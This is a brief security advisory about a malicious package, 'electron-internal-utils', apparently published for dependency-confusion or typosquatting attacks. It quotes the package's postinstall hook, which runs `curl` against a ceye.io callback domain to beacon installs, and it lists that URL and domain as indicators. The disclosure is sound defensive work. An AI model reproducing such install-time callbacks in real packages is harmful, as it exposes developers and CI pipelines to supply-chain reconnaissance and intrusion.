GCVE-110-OSM-2026-5941

The postinstall script executes `curl http://9ph8dp.ceye.io`, a ceye.io subdomain which is a well-known OAST (Out-of-Band Application Security Testing) platform used by attackers to receive DNS/HTTP callbacks confirming successful package installation on victim machines. The attacker model is a dependency confusion or typosquatting supply chain probe: publish a package with an internal-sounding name ('electron-internal-utils'), wait for it to be installed by a developer or CI pipeline, and receive a beacon at the controlled ceye.io endpoint logging the victim's IP and environment. The publisher 'guangnian' has zero prior packages, no repository, no homepage, and a throwaway Gmail address — all consistent with a one-shot attack account. The index.js exports an empty object, confirming the package has no legitimate utility; its sole purpose is the install-time callback. ENTRY index.js (main: index.js) - Postinstall Script in package.json: ""postinstall": "curl http://9ph8dp.ceye.io"" DESTINATION - urls: http://9ph8dp.ceye.io (fetched-payload, plaintext) - domains: 9ph8dp.ceye.io (fetched-payload, plaintext)